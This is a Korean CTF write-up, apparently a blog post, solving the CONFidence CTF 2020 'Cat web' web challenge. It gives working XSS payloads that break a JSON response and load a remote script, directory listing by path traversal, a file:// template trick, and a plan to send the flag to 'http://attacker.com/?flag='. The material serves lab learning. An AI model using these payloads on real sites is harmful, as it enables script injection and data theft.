CONFidence CTF 2020 Teaser write-up
Web
Cat web
XSS
풀자마자 왜 이런 벡터를 생각을 못했는지 자책을 하기도 했던 문제이긴 하지만, 풀이 자체는 깔끔하고 공격 연계 벡터도 내가 생각도 못한 부분에서 발생해서 나름 신기한 문제였다.
function getNewCats(kind) {
$.getJSON('http://catweb.zajebistyc.tf/cats?kind=' + kind, function(data) {
if (data.status != 'ok') {
return;
}
$('#cats_container').empty();
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/' + kind + '/' + cat + '" />';
$('#cats_container').append(newDiv);
});
});
}
취약점 자체는 쉽게 발견할 수 있었다. getNewCats() 함수에서는 'http://catweb.zajebistyc.tf/cats?kind='로 kind 값을 보내고 /cats?kind 에서는 kind에 대응되는 이미지 파일 리스트를 json 형태로 반환한다. 이 부분에서 "(0x22, 더블쿼터)에 대해서 제대로 escaping을 하지 않기 때문에 아래와 같은 방법을 통해서 json 데이터를 조작할 수 있다.
// http://catweb.zajebistyc.tf/cats?kind=asdf%22,+%22content%22:+[%22\%22%3E%3Cscript+src=//ch4n3.me:8080/xss.js%3E%3C/script%3E%22],+%22status%22:+%22ok%22,+%22asdf%22:+%22
{"status": "error", "content": "asdf", "content": ["\"><script src=//ch4n3.me:8080/xss.js></script>"], "status": "ok", "asdf": " could not be found"}
이 페이로드를 / (index) 페이지에 적용을 해보면 실제로 악의적인 코드 삽입을 통한 XSS 공격이 가능함을 확인할 수 있다. 아래는 alert('hacked'); 코드를 띄운 PoC의 캡처 사진이다.
[*] url : http://catweb.zajebistyc.tf/?asdf%22,+%22content%22:+[%22\%22%3E%3Cscript+src=//ch4n3.me:8080/xss.js%3E%3C/script%3E%22],+%22status%22:+%22ok%22,+%22asdf%22:+%22
해당 문제에는 무언가 report할 수 있는 기능이 있었는데, 아무래도 XSS로 악의적인 코드가 삽입된 URL을 전달하는 것 같았다. 그래서 위와 같은 과정으로 관리자의 계정을 탈취하는 코드를 작성한 뒤에 관리자에게 report하여 관리자의 세션을 빼내오면 될 것 같았지만, 계정으로 판단할 만한 쿠키도 없었고 애초에 서버 내에 계정 관련 기능이 구현되어 있지 않았기 때문에 권한 탈취류의 문제는 아니라고 판단하였다.
File Listing (?)
/cats?kind= 에서 image file lists를 출력하고 있기 때문에 . , .. 를 입력해보았는데 운좋게도 해당 디렉터리에 있는 파일들이 출력되었다. 이 발견은 살짝 나의 게싱 실력이 녹슬지 않은 덕분이다. 이 버그가 아니었다면 나는 계속 XSS만 공략하고 있었을 것이다.
// http://catweb.zajebistyc.tf/cats?kind=.
{"status": "ok", "content": ["grey", "white", "red", "black"]}
// http://catweb.zajebistyc.tf/cats?kind=..
{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}
디렉터리를 둘러보니 flag는 /app/templates/flag.txt 에 있었다. 그래서 계속 시도한게 XSS를 Local File Inclusion으로 연계하여 flag.txt를 읽는 작업이었는데, CORS 때문에 번번히 실패했다. 내가 구상한 방법은 아래와 같다.
- file:///app/templates/flag.txt 에 HTTP 요청을 보낸다.
- 받은 Response를 변수에 저장하고 공격자 사이트에 Response를 넣어 보낸다. (ex. 'http://attacker.com/?flag=' + Response)
- FLAG를 얻고 치킨을 뜯는다.
하지만, 내가 생각한 방법은 브라우저의 정책에 의해 사용할 수 없었다. 한 5년 전까지만 해도 가능한 모양이었지만, 이제는 CORS에 의해 http, https 프로토콜만 허용되는 상황이었던 것이다. 그 해도 CORS 설정을 우회하는 새로운 제로데이가 있나 싶어서 한 5시간 동안 쭉 시도했었는데 번번히 실패했다.
여기서 포기할 찰나에 겨우 생각해낸게 /app/template/index.html 을 이용하는 방법이었다. index.html은 템플릿이긴 하지만, 변수를 제외하면 사실상 html코드와 동일하기에 인덱스 페이지(/)에 존재하던 취약점이 그대로 존재하기 때문이다. 그래서 file:///app/template/index.html?payload 와 같은 식으로 공격을 진행할 수 있는 것이다. 내가 사용한 페이로드는 아래와 같다.
file:///app/templates/index.html?", "content": ["asdf\"><script src='http://ch4n3.me:8080/xss.js'></script>"], "status": "ok", "asdf": "
xss.js 에는 file:///app/template/flag.txt 에 요청을 보내서 받은 Response를 공격자의 서버에 다시 HTTP 요청을 보내서 얻을 수 있었다. 템플릿을 이용하여 공격하는 방법이 인상적인 문제였다.
flag : p4{can_i_haz_a_piece_of_flag_pliz?}
'write-ups > CTF' 카테고리의 다른 글
SuSec CTF write-up (0) | 2020.03.17 |
---|---|
b01lers CTF, Scrambled write-up (0) | 2020.03.17 |
2019 Christmas CTF watermelon write-up (1) | 2019.12.28 |
2019 사이버작전경연대회 학생부 예선에서 2등한 썰 (0) | 2019.08.18 |
KERIS 정보보안경진대회 2018 Write up (0) | 2018.11.12 |